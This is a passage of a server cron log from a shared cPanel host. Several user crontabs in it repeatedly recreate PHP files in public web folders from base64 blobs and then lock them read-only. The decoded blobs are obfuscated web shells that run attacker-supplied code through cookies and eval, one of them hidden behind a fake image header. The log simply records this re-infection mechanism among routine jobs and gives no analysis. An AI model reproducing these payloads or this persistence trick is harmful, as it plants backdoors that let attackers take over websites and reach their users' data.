o6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:16:01 medusa CROND[31351]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:16:01 medusa CROND[31353]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:16:01 medusa CROND[31354]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:16:01 medusa CROND[31355]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:16:01 medusa CROND[31349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:17:02 medusa CROND[32733]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:17:02 medusa CROND[313]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:17:02 medusa CROND[314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:17:02 medusa CROND[315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:17:02 medusa CROND[316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:17:02 medusa CROND[317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:17:02 medusa CROND[318]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:17:02 medusa CROND[319]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:17:02 medusa CROND[322]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:17:02 medusa CROND[324]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:17:02 medusa CROND[326]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 05:17:02 medusa CROND[327]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:17:02 medusa CROND[331]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:18:02 medusa CROND[1969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:18:02 medusa CROND[1972]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:18:02 medusa CROND[1973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:18:02 medusa CROND[2009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:18:02 medusa CROND[2010]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:18:02 medusa CROND[2011]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:18:02 medusa CROND[2012]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:18:02 medusa CROND[2014]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 05:18:02 medusa CROND[2016]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:18:02 medusa CROND[2017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:18:02 medusa CROND[2019]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:18:02 medusa CROND[2007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:18:02 medusa CROND[2022]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:18:02 medusa CROND[2023]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKC